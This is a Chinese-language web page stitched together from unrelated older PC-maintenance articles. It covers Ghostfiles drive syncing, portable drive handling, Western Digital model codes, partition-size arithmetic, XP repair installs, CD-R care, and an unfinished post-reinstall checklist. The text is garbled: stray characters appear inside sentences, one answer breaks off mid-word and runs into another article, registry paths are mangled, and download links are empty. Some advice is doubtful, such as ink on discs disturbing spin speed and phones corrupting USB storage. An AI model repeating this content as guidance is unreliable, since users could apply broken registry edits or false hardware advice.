dos文件夾同步

⑴ 如何實現多個硬碟同步數據傳輸

同時讓多個硬碟輕松同步數據傳輸，為了保護重要數據的安全，我們往往會給自己的計算機同時安裝兩塊或兩塊以上的硬碟，然後藉助Windows2000Server或Windows2003Server系統內置的Raid功能，來對兩塊硬碟或多塊硬碟同時進行寫入數據操作，從而實現同步硬碟數據的目的。不過考慮到要啟用伺服器系統的Raid功能，必須事先要進行一些煩瑣的系統設置操作，普通的用戶幾乎都不會進行這項設置。那麼有沒有一種更簡單的方法，可以讓我等「菜鳥」級別的用戶，可以在轉瞬之間就能對多塊硬碟中的數據進行同步操作的目的呢?要做到這一點，我賀漏殲們不妨藉助一款名為Ghostfiles的工具，在該工具的幫助下我們就能輕松對多塊硬碟中的數據進行同步操作。不信的話，就請各位一起來看看本文下面的內容吧!

認識外力Ghostfiles工具

Ghostfiles工具是一款操作簡單、使用方便的數據鏡像與數據同步軟體，它可以隨時查看各種源位置數據中的變化，並能對其中的數據進行各種編輯操作，例如可以移動、復制文件夾數據，也可以刪除、新建文件夾數據，還能重命名或修改文件夾數據，此外它還會讓目標位置處的數據內容發生相同的變化。Ghostfiles工具不但會支持通過移動硬碟、網路映射伺服器、快閃記憶體檔以及共享文件夾來對數據進行同步操作，而且它在為我們提供「服務」時只佔用系統很有限的空間資源，有了Ghostfiles工具在身旁，我們就能讓兩塊或多塊硬碟同時寫入相同的數據內容。

借用外力進行同步操作

要想利用Ghostfiles工具的數據同步與數據鏡像功能，我們首先需要從網上將Ghostfiles工具下載到操作系統所在的硬碟中，然後按照常規方法將該工具軟體安裝好，之後從「開始」/「程序」/「LowrieAssociatesLtd」/「Ghostfiles」菜單中執行相關命令來順利地啟動好Ghostfiles應用程序，一旦該程序啟動成功後，它就會自動退回到系統後台為我們默默地提供數據同步服務，同時將它的程序控制圖標隱藏到系統任務欄的右下角。

用滑鼠右鍵單擊系統托盤區域處的Ghostfiles程序控制圖標，從隨後出現的右鍵菜單中執行「Maintain

Settings」命令，打開如圖1所示的主程序設置窗口，單擊該窗口中的「New」按鈕，打開一個標題為添加任務的對話框;在該對話框的「Entry」文本框中，為剛剛創建的新任務輸入一個合適的名稱，例如我們在這里可以輸入「同步硬碟數據」。

接下來在該對話框的禪沖「Source」設置項處，單擊右邊的瀏覽按鈕，打開文件夾選擇對話框，從中將需要參與數據同步的源文件夾選中並導入進來;假設本地計算機中安裝有兩塊容量完全相同的硬碟，每一塊硬碟都有相同的兩個磁碟分區，而且我們假設第一塊硬碟中的第一分區盤符為「E:」，第二分區盤符為「F:」，第二塊硬碟中的第一分區盤符為「G:」，第二分區搜讓盤符為「H:」。那麼在同步這兩塊硬碟中的數據內容時，我們就應該先在「Source」設置項處將「E:」選中並導入進來，接著在「Destination」設置項處將「G:」選中並導入進來(如圖2所示)，然後單擊該對話框中的「OK」按鈕，隨後Ghostfiles程序會自動進入到下一個同步向導設置界面，檢查該界面中的「Mirror

Sub-Directories」項目是否處於選中狀態，要是還沒有被選中的話，我們必須及時將它重新選中，這樣Ghostfiles程序就能在執行數據同步操作時自動對目標分區下面的子文件夾內容也進行同步操作;如此一來，日後當我們嘗試在第一塊硬碟的第一分區中進行文件的刪除、移動、復制、重命名等操作時，第二塊硬碟的第一分區中也會自動進行相應的文件刪除、移動、復制、重命名等操作，那樣的話兩塊硬碟第一分區中的數據內容就能始終處於完全相同的狀態。

一旦完成好所有的參數設置操作後，我們只要繼續單擊數據同步向導界面中的「Apply」按鈕，那樣的話Ghostfiles程序就能按照我們事先進行的設置，來正式對目標硬碟中的數據執行同步與鏡像操作;在同步的過程中，我們只要用滑鼠雙擊系統托盤區域處的Ghostfiles程序控制圖標，就能打開數據同步的狀態顯示界面，從該界面中我們能清楚地看到目標磁碟分區與源磁碟分區中的數據變化結果。

同樣地，按照前面的操作步驟，我們還可以再打開一個標題為添加任務的對話框，來重新創建另外一個數據同步任務，將第一塊硬碟中的第二分區與第二塊硬碟中的第二分區設置成同步，這樣一來一旦第一塊硬碟在工作過程中遇到意外發生數據丟失時，我們就可以嘗試到第二塊硬碟中去尋找丟失的數據了。

藉助Ghostfiles工具的數據同步與數據鏡像功能，我們還能非常輕松地將單位計算機硬碟中的數據內容同步到移動硬碟中，等下班回到家中之後，我們再把移動硬碟中的數據內容拷貝到家庭計算機硬碟中，這么一來就能間接地保證單位計算機與家庭計算機中的數據內容始終保持完全一致了。更難能可貴的是，Ghostfiles程序還能把本地源文件夾中的數據內容同步到區域網共享文件夾中，從而實現網路自動備份數據的目的。

移動硬碟使用注意事項

首先不要用質量很次的假IBM、VAIO還有假三星，這幾樣大約20~30元提貨，零售價50~60元，有賣過，硬碟盒一定要選質量好的，至少批發60元左右，零售一般在80元以上的一般就不錯，基本能保證穩定供電，傷害硬碟的可能性低了很多。

移動硬碟怕摔，這個有很大偶然性，經驗並不可靠，並不是這回你親眼看到別人摔地上沒事，下回你的摔了也能沒事兒。必須輕拿輕放，除了這玩意兒本身價值幾百元錢，有時候裡面的數據更值錢吧？優盤和mp3等移動存儲，也一樣需要小心輕放。

移動硬碟，優盤，mp3這些嬌貴東西很怕磁場和輻射，所以你必須保持它們遠離手機、音箱等等強磁場強輻射的東西，必須遠離，否則不定哪天你會發現它們的容量顯示變得很古怪，文件可能永遠丟失。***最重要***的注意事項，

移動硬碟並不能隨意移動，移動硬碟和主機連接線一般至少幾十厘米，很多人竟然一邊拷貝數據，一邊拿在手裡，這是諸位最常見的錯誤，經驗並不可靠，可能你這樣魯莽的行為累計有十次，三十次，從來都沒當場出事情，但很有可能突然某一天硬碟就提前掛了，正常情況硬碟壽命應該不止三五年，好象廣告上面寫的有平均無故障時間，據說幾萬個小時，我記不大清楚，總之這玩意兒高速運轉的時候必須放置在一個穩定的平台上。

補充以下，另有專業人士指教我，移動硬碟即便不通電，也不能劇烈晃動，因為硬碟裡面的盤體就像陀螺一樣，四周懸浮，只有中間有個固定軸，猛烈晃動可能會導致意想不到後果。還有一點也***相當重要***

無論什麼牌子什麼型號，都有可能偶爾在某台機子xp系統下，不能安全刪除硬體，你沒辦法從右下角的usb設備圖標點選安全刪除，它總是提示設備正在使用中，正確的解決辦法，可能只有關閉計算機，然後當然能拔掉了。

如何降低硬碟噪音？

問：在夜深人靜的晚上使用電腦時感覺硬碟讀取數據時伴隨著明顯雜訊，請問有沒有方法降低硬碟噪音？

答：由於硬碟屬精密配件，沒有任何用戶有條件對其「手術」，所以我們只能採用軟體降噪的方法。為了讓降噪效果更加有效，針對性地選用各硬碟廠商獨立開發的硬碟降噪軟體是最理想的。

例如，Maxtor硬碟可使用Maxtor

Acoustic

Management工具，在DOS狀態下進入軟體所在目錄，輸入amset.exe

/quiet命令即可切換到安靜模式；IBM和日立硬碟可使用Feature

Tool工具包，可開啟IBM和日立硬碟的Automatic

Acoustic

Management(自動聲音管理)功能，降低工作噪音；三星硬碟則可使用專用的尋道聲音切

西部數據硬碟型號識別方法揭曉

西部數據的編號標注形式因產品系列而異，編號方式顯得簡潔明了，由12個數字或者字母所組成。在12個編號中，前6個編號為主編號，後面的6個編號為附加編號。其桌面市場的主打系列魚子醬的.標注方式為「廠商代號+容量+轉速，緩存+介面類型」。

簡單的表示為WD「XXXX,X,X-XX,X,X,XX」，可以分為七個部分。

「WD」是「Western

Digital」的簡稱，表示其為西部數據公司的產品。

前6位主編號：

第一部分的四個「X」表示為硬碟容量，通常由3到4位數字組成，單位為GB。其標識和希捷是一樣的，如4位的「1200」代表120GB，3位的「800」則代表80GB。

第二部分的「X」表示為硬碟轉速及緩存容量。

「A」表示轉速為5400

RPM/分的魚子醬硬碟

「B」表示轉速是7200

RPM/分的魚子醬硬碟

「E」表示轉速是5400

RPM/分的Protege系列硬碟

「J」表示轉速為7200

RPM/分，數據緩存為8MB的高端魚子醬硬碟

「G」表示為轉速擁有10000

RPM/分，數據緩存為8MB的最高端桌面硬碟Raptor系列

第三部分的「X」表示介面的類型。

「A」表示為Ultra

ATA/66或者更早期的介面類型

「B」表示為Ultra

ATA/100

「W」表示應用於A/V(數碼影音)領域的硬碟

「D」表示為Serial

ATA150介面

後六位附加編號：

對於後面的六位附加編號，筆者很抱歉，找不到相關於Serial

ATA150介面規范的硬碟附加編號資料，這不能不說是一個遺憾。

第四部分的兩個「X」表示為OEM客戶標志。如今西數面向零售市場的產品，其兩個編號都是為數字「00」。如果作為其它字元的話，則為OEM客戶的代碼，不同的編號對應不同OEM客戶，而這種編號的硬碟通常是不面向零售市場的。

第五部分的「X」代表硬碟單碟容量，單位是GB。「C」代表硬碟單碟容量為40GB，「D」代表66GB，「E」代表83GB。

第六部分的「X」表示同系列硬碟的版本代碼，該代碼隨著不同系列而變。

「A」表示7200轉/分，Ultra

ATA100介面的BB系列；

「B」表示5400轉/分，Ultra

ATA66介面的AB系列；

「P」表示5400轉/分，Ultra

ATA100介面的EB系列；

「R」表示7200轉/分，Ultra

ATA100介面，具有8MB緩存的JB系列。

而在單碟66GB和83GB的產品中，還出現了「U」，「V」等其他字母，分別對應JB系列和BB系列產品。

最後部分的兩個「X」表示為硬碟的Firmware版本。我們目前常見的一般都是「A0」。

我們以「WD2500JB-00EVA0」的硬碟編號作例子，我們從主編號可以知道這是一塊西部數據公司出品的容量為250GB、7200轉/分並且具有8MB緩存的硬碟。從後面的附加編號我們還可以看出這是西部數據面向零售市場，單碟容量為83GB的產品。其實，我認為對一般消費者來說，買西數硬碟看前面的6位主編號就可以得知性能了，加上了後面的6位附加編號反而還會增加了難度。

對於現在西數公司新出的Serial

ATA150介面的硬碟，如主6位編號為「WD2500JD」，我們就可以知道他是轉速為7200

RPM/分，數據緩存為8MB，採用介面為Serial

ATA150介面的硬碟。還有對於西數公司最高端桌面硬碟Raptor(猛禽)系列，其主編號「WD740GD」亦代表了大部分的信息，其「容量為74GB，轉速擁有10000

RPM/分，數據緩存為8MB，採用Serial

ATA150介面」這些信息我們也可以輕易的看出來。

開機後硬碟無法引導

問：我的電腦在開機後屏幕上出現如下提示信息：Device

error，隨後又顯示：Non－System

disk

or

disk

error,Replace

and

strike

any

key

when

ready，此時硬碟無法引導。用啟動軟盤啟動電腦後，在出現A:>後鍵入C:並按回車鍵，屏幕上出現Invalid

drive

specification字樣，系統無法轉到硬碟中。請問如何才能解決這個問題？

答:出現這個故障很可能是主板CMOS中硬碟設置參數丟失或硬碟類型設置錯誤造成的。解決方法是：開機後按Del鍵進入CMOS，檢查硬碟設置參數是否丟失或硬碟類型設置是否錯誤，如果是則可以進行手工輸入恢復，如果記不住硬碟參數了，可選擇HDD

AUTO

DETECTION項進行自動檢測。有些主板CMOS由於版本陳舊可能沒有這個選項或無法自動檢測出硬碟參數，這時只有打開機箱，查看硬碟表面標簽上的硬碟參數來填寫了。

硬碟分區時分出整數容量的空間

大家分區的都會輸入數字，比如你想得到一個2G的分區，你也許會輸入2000M或者2048M。其實你輸入的這些數字所分出來的區在Windows下面都不會被認為整數的2G，而是1.9XG，想要得到Windows下的整數G分區，你必須知道一個公式。

通過這個公式算出的值就是被Windows認為整數G的值。整數G計算公式：（X－1）*4＋1024*X＝Y

說明：以上「*」表示相乘，其中X就是你想要得到的整數分區的數值，單位是G，Y是你分區時應該輸入的數字，單位是M，例如：我想得到3G整數空間，那麼我分區時就應該輸入（3－1）*4+1024*3=3080，那麼我們應該在分區時輸入3080M作為分區的大小；同理欲分出10G的空間則應該是（10-1）*4+1024*10=10276，輸入10276M將會得到10G的整數空間。

下面是其他一些常用分區數值例：

(30-1)*4+1024*30=30836

30G

(15-1)*4+1024*15=15416

15G

(10-1)*4+1024*10=10276

10G

(5-1)*4+1024*5=5136

5G

⑵ windows的同步管理器使用方法

系統「同步」你用好了嗎

Windows中的「同步管理器」可以把保存在計算機中的離線網頁文件與網路中相應的網頁內容進行比較並自動更新，使兩者始終保持—致，並可讓同一區域網內的不同計算機中的數據文件同步更新，還可以使計算機的系統時鍾與Internet時間伺服器的時鍾保持—致。下面，就讓我們來看看「同步管理器」的這些應用。

一、離線網頁的同步

打開「我的電腦」，在工具欄中選擇「文件夾選項」，其中就有對離線文件的具體設置。為了能夠使離線網頁在登錄或注銷計算機、計算機閑置狀態時自動保持與網路同步，就要在「同步設置」對話框的「登錄/注銷」選項卡中選擇需要同步的離線網頁，並勾選「登錄計算機時」、「從計算機注銷時」兩個復選框。這樣就能使該離線網頁在登錄或注銷計算機時保持網頁的同步狀態。

二、文件夾的同步

如果你經常要在兩台計算機之間或者使用移動存儲設備來傳輸文件，那麼，使用「同步+公文包」組合方式將會是最佳途徑。因為「公文包」能自動將主計算機上的文件更新為修改後的版本，而不必將修改後的文件移出「公文包」或者刪除主計算機中現有的副本文件；而「同步」將使所有這些步驟顯得更為簡單。

三、時間的同步

無論你如何調整，計算機的時間總會在—段時間後與標准時間「差之毫釐」，甚至「謬以千里」。但是，如果你啟用了「時間同步」功能，那麼你的計算機系統時間就始終能與Internet時間伺服器保持同步。雙擊「任務欄」中的時間圖標以打開「日期和時間屬性」對話框，切換到「Internet時間」選項卡，勾選「自動與Internet時間伺服器同步」復選框，並在「伺服器」列表中選擇「時間伺服器」，再點擊「立即更新」按鈕即可使本機時間與Internet時間伺服器時鍾保持一致。

採集卡安裝死機

故障現象：一台P4 1.8GHz處理器，主板採用i845PE晶元組的電腦配備了影音大師採集卡。這台電腦平時只用來做一些視頻處理工作。從買來就有開機不能正常啟動的問題，每次Windows 2000進度條到70%時就死機，重啟幾次都是如此。

分析解決：按照常規解決的方法。先殺毒，用瑞星殺毒軟體殺掉了幾十個病毒，本以為問題就這樣解決了，但沒想到重啟後，故障依舊。使用Windows 2000安裝光碟修復系統，仍然不能解決問題。一不做二不休，重裝系統。很快新系統裝好了，裝好顯卡、音效卡、主板驅動，一切正常。然後安裝採集卡驅動以及一些相關的軟體。這一切安裝都很正常，本以為這樣問題應該能解決了，結果重新啟動後又是進度條到70%死機。因為是在裝了採集卡驅動和其他一些軟體後出現的故障，懷疑是軟體或採集卡驅動之間出現了沖突導致系統不能正常啟動。

進入安全模式，也沒有將問題解決，只好再次選擇重新安裝系統，這次系統裝完後，我每裝一個驅動就重新啟動一次，直到裝完採集卡驅動的時候，電腦出現了死機故障。終於被我找到故障的原因，是採集卡驅動出現了問題，導致系統啟動死機。

找到問題所在，解決起來就要容易許多。我把採集卡更換了一個PCI插槽，安裝驅動後系統能正常啟動。進入系統後安裝採集卡驅動程序，再重新啟動好幾次都能進入，採集卡也能正常使用。

筆記本電腦性能優化技巧

一、BIOS的優化設置

和普通台式機一樣，筆記本電腦的BIOS設置優化是最基本的優化方法，合理設置本本的BIOS，能夠加快開機速度，提高內存、CPU、硬碟及顯示系統的工作效率，而不同品牌的筆記本電腦的BIOS設置方法也大同小異。一般而言，在BIOS設置中有一個「QuietBoot」選項，這是設置開機畫面和開機硬體檢測等用的。和台式機一樣，默認情況下筆記本電腦開機時首先檢測處理器和內存、硬碟等，其中還包括開機畫面的顯示，而這些工作有時沒有必要進行，因此把「QuietBoot」一項設置為「Enabled」，這樣就不會顯示開機畫面及進行硬體檢測等步驟了，自然可以大大提高開機啟動速度。

目前筆記本電腦的軟碟機基本上被淘汰出局了，如果你沒有使用軟碟機，又在BIOS里打開了軟碟機埠，那麼每次啟動筆記本電腦時都會對軟碟機進行搜索，這樣就減慢了開機速度。我們可以在BIOS中將軟碟機設置為「None」或「Disabled」(關閉)，同時把第一項開機引導設備設置為「HardDrive」，這樣不但加快了開機速度，同時還減少了噪音。

一般來說，在大部分筆記本電腦的BIOS設置里都有一項「SystemDevices」(系統設備)或「Advanced」(高級)選項，在這里可以設置CPU、顯卡、內存、硬碟等性能參數。有的筆記本電腦的BIOS中有「DMAChannel」和「VGAFrameBufferSize」兩個選項，第一項用於打開IDE設備的DMA傳輸模式，打開後磁碟性能可以提高很多，而第二個則用來設置顯卡的顯存大小。對於集成顯卡來說，要注意設置技巧，比如集成顯卡的顯存大小范圍為16MB'64MB，則盡量把這個數字設置在64MB以內(如32MB)，如果設置得太高，而總內存容量卻很小(如只有128MB)，那麼在某些圖形軟體或游戲動畫的渲染中，很有可能出現內存不足導致整體性能大幅度降低。如果使用獨立顯卡，在「Advanced」選項中會有「DisplayExpansionSupport」這個選項，把這個選項設成「Disabled」(關閉)後，在解析度小於1024×768及DOS界面下，會自動縮小畫面以保持最佳顯示效果。

另外，我們還要把CPU的L2Cache(二級高速緩存)打開，這樣有助於CPU的性能發揮，有的筆記本電腦還集成了LAN、Modem、IEEE1394等介面，平時如果不使用這些介面時，最好在BIOS中把這些介面屏蔽掉。

二、CPU的優化使用

我們可以用Powertweak軟體來優化本本的CPU和晶元組（下載地址為http:///soft/2754.html），Powertweak支持大多數的處理器和晶元組，內置四種最佳化設定功能，可以自行設定要最優化的硬體。運行該軟體後點「選項」進行參數設定，然後點「最優化」即可對CPU進行優化。

如果你是發燒友，也可以對本本的CPU適當超頻，當然，筆記本電腦不可能像台式機那樣進行「硬」超頻。不過我們可以使用SoftFSB這個軟體（下載地址為http:///soft/10494.htm）對本本的CPU進行「軟」超頻，只要你知道本本的主板型號，通過一定的設置，直接在Windows下調節系統外頻就可以超頻，而且非常方便安全，即使超頻失敗，只需要重新開機即可恢復默認的外頻。

優化與超頻都可以提高CPU的性能，但在一定程度上加大了CPU的功耗，盡管最新的移動CPU功耗很低，但發熱量增加是難免的，因此需要適當考慮降溫措施。但是筆記本電腦不方便通過硬體措施來改善散熱條件，所以通過軟體降溫是最為明智的，如果使用的是Win98/WinMe系統，推薦使用WaterfallPro降溫軟體，該軟體安裝後會自動啟動降溫功能，也可以利用新的HTL(節流閥)技術進行降溫，缺點是該軟體不支持Win2000/WinXP。而CPUIdle降溫軟體可在所有的Windows系統下使用，它的下載地址是，該軟體運行後會自動對CPU進行降溫，並且在CPU信息選項可以看到CPU的全部資料。

WinXP崩潰後的救命稻草

原位升級對於許多人來說可能還是個陌生的概念，但覆蓋安裝相信大家都知道。在Windows98出現嚴重問題需要重裝系統時，為了避免格式化破壞系統中已經安裝的軟體和數據，我們通常會使用直接覆蓋安裝的方式。

其實在WindowsXP中也有類似覆蓋安裝的功能，它被稱為原位升級，又稱修復安裝，同樣可以在不丟失系統已有數據的情況下重裝系統，解決許多嚴重的系統問題。

一、原位升級的方法與實例

WindowsXP的原位升級使用比Windows98的覆蓋安裝要麻煩一些，下面我們通過一個實例來看看具體操作方法。

故障現象：一菜鳥好友打來電話，說WindowsXP系統無法啟動了，匆忙趕去，發現每次剛啟動到滾動條界面即自動重啟，問其詳情，說是昨天安裝卸載了許多軟體，中間一直沒有重啟。今天開機就出現了這個現象。推斷可能是由於安裝卸載軟體時破壞了系統，使用最近一次正確配置無法正常啟動，嘗試安全模式也無法進入，看來只有重裝系統了。

不過朋友說系統分區中有重要數據還沒備份，於是就嘗試了一下原位升級，非常順利地解決了問題。

具體步驟：首先使用WindowsXP安裝光碟啟動電腦，根據提示按「Enter」鍵開始安裝WindowsXP，然後按F8鍵接受安裝協議，這時安裝程序會檢測到系統中已經安裝有WindowsXP，並給出提示，這時按下R鍵選擇修復安裝即可，剩下的步驟就和正常安裝WindowsXP完全一樣了。不過在採用原位升級修復WindowsXP之後，需要重新激活WindowsXP，這一點請注意。

如果你的電腦安裝有雙系統，還可以在其他能夠正常使用的操作系統中對WindowsXP進行原位升級，方法是把WindowsXP安裝光碟放入光碟機，在「歡迎使用Windows安裝程序」的界面中，單擊「安裝類型」下拉框選擇「升級(推薦)」選項，然後單擊「下一步」按鈕，繼續正常安裝即可。

二、原位升級適合醫治的「病例」

原位升級並不是「包治百病」，它有適合的應用，除了上面我們看到的實例外，如果你遇到下面的這些問題，也可以通過原位升級來解決：

無法以安全模式啟動WindowsXP的問題。

由最近安裝的系統更新（WindowsUpdate、修復程序、WindowsXPServicePack或MicrosoftInternetExplorer更新）引起的，而且無法以任何其他方式解決此問題。最典型的情況就是由於一些用戶使用了破解版的WindowsXP，自動更新後無法使用。

通過使用其他工具（例如「系統還原」）不能解決的注冊表問題。

系統文件的一些屬性改變，而我們想恢復到最初始的狀態，需要給安裝的WindowsXP系統應用默認的（文件和注冊表）許可權。

需要使用Windows安裝程序來再次查找即插即用設備。

三、原位升級安裝時的注意事項

WindowsXP的原位安裝並不像Windows98那樣覆蓋一下就可以，它會對系統進行很多改動，所以在使用原位安裝之前，我們要先確定是否應該使用原位安裝。

1.如果你的WindowsXP是品牌機預裝的，並且在WindowsSystem32文件夾中存在「Undo_guimode.txt」文件，那麼在使用原位升級安裝時可能會出現丟失開始菜單快捷方式、啟動組數據以及共享文檔數據的問題，這時需要先刪除「Undo_guimode.txt」文件後再執行原位升級，以避免數據丟失。

2.用原位升級安裝修復WindowsXP後，雖然應用軟體無須重裝，但很多系統的設置都被恢復到默認狀態了，比如自動開啟了系統還原、登錄界面也被改成系統默認，你需要重新進行個性化設置。

3.原位升級安裝後，所有用WindowsUpdate打的補丁會全部丟失，因此需要重新在線更新。

4.如果你的電腦同時還安裝有Windows2003，在使用原位升級修復WindowsXP後，會導致Windows2003無法進入，修復方法是將Windows2003安裝光碟i386目錄下的「ntldr」和「Ntdetect.com」文件復制到C:下覆蓋原有文件。

5.在使用原位升級修復WindowsXP後，如果發現系統運行速度明顯變慢，可以在設備管理器中查看一下硬碟和光碟機的運行模式是否設置在「僅PIO」模式，如果是這樣，則需要將WindowsXPSP2Beta中的「Atapi.sys」文件提取出來（版本號為5.1.2600.2055），替換掉系統中的原有文件，並打開注冊表編輯器，找到[HKEY_LOCAL_MACHINE

{4D36E96A-E325-11CE-BFC1-08002BE10318}001]，新建DWORD類型鍵值「ResetErrorCountersOnSuccess」，設置其值為「l」。

然後再按同樣方法修改[HKEY_LOCAL_MACHINESYSTEM

CurrentControlSetControlClass{4D36E96A-E325-11CE-BFC1-08002BE10318}002]主鍵下的鍵值設置即可。

6.原位升級需要使用與原安裝系統一致的WindowsXP版本，例如原來是專業版，必須用專業版WindowsXP來進行原位升級，而如果原來是家用版，則不能用專業版來進行原位升級安裝。

正確使用和保存刻錄盤

許多朋友可能會覺得奇怪，使用刻錄盤嘛，不就是放到刻錄機裡面進行刻錄咯，還需要怎樣正確使用呢？沒錯，這確實是用刻錄盤進行刻錄的方法，但這離「正確地使用刻錄盤」還相差很遠呢。

那麼，怎樣才算是正確地使用刻錄盤呢？筆者覺得，以下一些環節是很值得加以注意的。

一、應該給刻錄盤安置怎麼樣的家？

有些朋友喜歡把剛買回來的刻錄盤堆疊在一起，然後放到一個CD筒里，在需要使用刻錄盤進行的時候，再拿出來使用；已經刻錄好的碟片也是堆疊在一起，在需要使用時就一張張翻出來慢慢搜索，用完後再疊起來。殊不知這樣做是非常錯誤的。

我們知道，刻錄盤是非常嬌貴的東西，軀體又很單薄，在堆疊的情況下很容易變形，碟片之間互相碰撞時更容易產生劃痕。事實上，刻錄盤只要稍微有所損害，就很可能無法正常使用的了。那麼，使用CD盒可以避免這種情況嗎？

也不一定。質量好的CD盒確實可以起到很好的保護作用，但價格也會比較昂貴，對於普通用戶來說未必適合；有一些CD盒賣得比較便宜，幾塊錢一個，其製作質量可能非常粗糙。如果用這種盒子來裝刻錄盤，雖然刻錄盤之間可以隔離開而不產生直接接觸，但因為盒子本身的質量問題，在抽出和插入刻錄盤的時候，不可避免的摩擦也很可能對刻錄盤造成比較大的損害。

如果用戶想省點錢，又想保護好刻錄盤的話，不妨選擇那種比較柔韌的、兩面均可放刻錄盤的塑料薄膜。要求薄膜柔韌是為了給刻錄盤的抽出和插入提供一個比較平滑的空間，而減少劃花碟片的機會；兩面安放碟片可以很好地固定碟片的位置，碟片滑出來的機率大大減少。另外再購買一個CD架，把薄膜垂直安放進去。

筆者認為採用這種方法可以比使用CD盒能更好地保護碟片本身，而且薄膜的價格也比較便宜，一般都是幾分錢'一毛錢一個，很值得普通用戶使用。

二、進行不同刻錄時應該採用什麼樣的刻錄盤？

有些朋友不管是刻錄什麼類型的文件，都使用同一種刻錄盤。其實這也是不對的。一般來說，我們用得最多的幾種刻錄類型是：音樂CD盤、系統安裝盤和一般的數據文件盤。相對來說，音樂CD對音質的要求比較高，而良好的音質又離不開一張比較好的碟片做底層支持，也只有質量好的碟片才能夠提供穩定播放的效果，因此盡量採用較好質量的`刻錄盤是比較合適的。

經常重裝系統的朋友都知道，在安裝系統時，因為要長時間地讀取光碟，如果光碟的質量比較差，往往無法順利地讀取，從而影響到系統的安裝。因此要想製作系統安裝盤的朋友，一定要選購質量好的刻錄盤。

對於一般的數據文件盤，我們也可以劃分幾個重要度級別。對於非常重要的、經常使用的數據資料，應該使用質量甚佳的刻錄盤；對於普通重要的數據資料，採用質量過關的普通刻錄盤就可以了。

但無論是對於哪種類型的刻錄，有一點都是要注意的：每隔一段時間（比如說三個月、半年）就應該檢查一下刻錄盤是否還能順利讀取，並及時進行更新替換工作。否則一旦資料遺失，那就非常遺憾了。

三、採用多少倍速來進行刻錄呢？

一般來說，刻錄速度是由刻錄機和刻錄盤兩方面共同決定的，而最高刻錄速度又與兩者最高刻錄速度的較低值相一致。比如說，刻錄機最大倍速為52X，刻錄盤為32X，那麼最高刻錄速度應該是32X。有些朋友購買了支持較高刻錄速度的刻錄機和刻錄盤，比如說，都支持52X的，為了節省刻錄時間，而通通採用52倍速進行刻錄。

事實上，這種做法並不妥當。由於音樂CD、系統安裝盤對質量穩定性要求比較高，特別是系統安裝盤，如果在刻錄時前面寫入的數據出現錯誤，就很可能導致整張盤出現問題，最終導致無法使用它來順利地安裝系統。

而在刻錄盤相同的情況下，刻錄質量提升和刻錄速度提升的方向是恰好相反的，也就是說，對於質量要求高的刻錄類型來說，較高的刻錄速度往往難以保證刻錄出來的光碟能夠滿足用戶的切實需要，而相對較低的刻錄速度則可以基本保證數據平穩連貫地寫入刻錄盤中，從而保證刻錄的質量。

一般來說用8'12倍速進行音樂CD或者系統安裝盤的刻錄是比較合適的。而對於普通數據光碟來說，較高的刻錄速度也是可行的，因為CD刻錄機一般都具備自動糾錯功能，在高速刻錄時會自動檢測和糾正寫入錯誤，保證刻錄順利進行。

但筆者認為完全沒有必要採用52X來進行刻錄，因為我們一般都會採用質量很普通的刻錄盤來進行數據光碟的刻錄的，太高倍速的刻錄有時候會導致刻錄失敗，或者刻錄出來後無法正常地使用。一般來說用32X進行刻錄已經足夠了。

四、「超刻」，值得嗎？

有些朋友可能知道，只要採用適當的刻錄機和刻錄軟體，是完全可以對刻錄盤進行「超刻」的。像硬碟、CPU的製作過程那樣，廠商在製造空白刻錄盤的時候，往往會在刻錄盤的外圈預留一部分多餘空間不標示的，在正常刻錄狀態下，這部分空間並不能加以利用，而部分刻錄軟體可以把它識別出來。

有些用戶為了充分利用刻錄盤，希望對之進行「超刻」，以增加刻錄容量。筆者認為這樣做並不劃算。因為「超刻」雖然可以帶來更多的容量，但增加的數值並不會太大，一般就20'30MB，能夠達到50MB就已經很不錯了。

而這樣做的後果是，這樣刻錄出來的光碟性能並不穩定，在一段時間後往往無法正常地讀取，即使能夠讀取，也會給光碟機帶來更多的額外工作量，可謂得不償失。

五、怎樣正確地標示刻錄後的光碟呢？

一種常見的做法是：在刻錄後的光碟上用油性筆寫上和光碟相關的信息，以方便管理光碟，事實上，這種做法也是不對的。因為在光碟機讀取刻錄盤的時候，油墨的存在會使得刻錄盤的旋轉速度時快時慢，很不穩定，從而給正常的讀取造成影響，也會影響到光碟機光頭等部件的正常壽命。

另外，隨著時間的不斷變遷，油墨會慢慢地滲透到光碟裡面去。前面說過，光碟一旦受到損害，就很可能報廢了，而油墨的滲入，則是比較嚴重的一種損害形式。因此為了延長刻錄盤和刻錄機的壽命，最好還是不要在刻錄盤上寫上任何東西。而且標示光碟也是有很多其他方法的，比如說，在採用塑料薄膜或者塑料盒保存光碟時，可以在薄膜表面添加一個寫有光碟信息的小標簽。

我們一般都用刻錄盤來保存重要文件和數據的，因此我們只有正確地使用、保存它們，才能更好地保存自己的重要資料，為工作和學習帶來更大的便利。

新系統最容易中毒 重裝系統後要做十件大事

Windows系統是越用越慢，這是不爭的事實。因此，使用Windows就免不了要重新安裝系統。當然，重新安裝系統並不難，但是安裝完系統後你知道我們有多少事情必須要做嗎?這可容不得絲毫的鬆懈，一旦馬虎，將可能會導致前功盡棄，甚至有可能會造成數據丟失、信息泄密!

第1件大事:不要急著接入網路

在安裝完成Windows後，不要立即把伺服器接入網路，因為這時的伺服器還沒有打上各種補丁，存在各種漏洞，非常容易感染病毒和被入侵。 此時要加上沖擊波和震撼波補丁後並重新啟動再聯入互聯網。

第2件大事:給系統打補丁/安裝殺毒軟體

不用多說，沖擊波和震盪波病毒的補丁是一定要打上的，如果你安裝了Windows XP SP2則不用再另行安裝。

Windows XP沖擊波(Blaster)病毒補丁

震盪波(Sasser)病毒補丁安裝完系統後，一定要安裝反病毒軟體，同時將其更新到最新版本。

第3件大事:關閉系統還原

系統還原是Windows ME和Windows XP、Windows 2003中具有的功能，它允許我們將系統恢復到某一時間狀態，從而可以避免我們重新安裝操作系統。不過，有的人在執行系統還原後，發現除C盤外，其它的D盤、E盤都恢復到先前的狀態了，結果裡面保存的文件都沒有了，造成了嚴重的損失!

這是由於系統還原默認是針對硬碟上所有分區而言的，這樣一旦進行了系統還原操作，那麼所有分區的數據都會恢復。因此，我們必須按下Win+Break鍵，然後單擊「系統還原」標簽，取消「在所有驅動器上關閉系統還原」選項，然後選中D盤，單擊「設置」按鈕，在打開的窗口中選中「關閉這個驅動器上的系統還原」選項。

依次將其他的盤上的系統還原關閉即可。這樣，一旦系統不穩定，可以利用系統還原工具還原C盤上的系統，但同時其他盤上的文件都不會有事。

第4件大事:給Administrator打上密碼

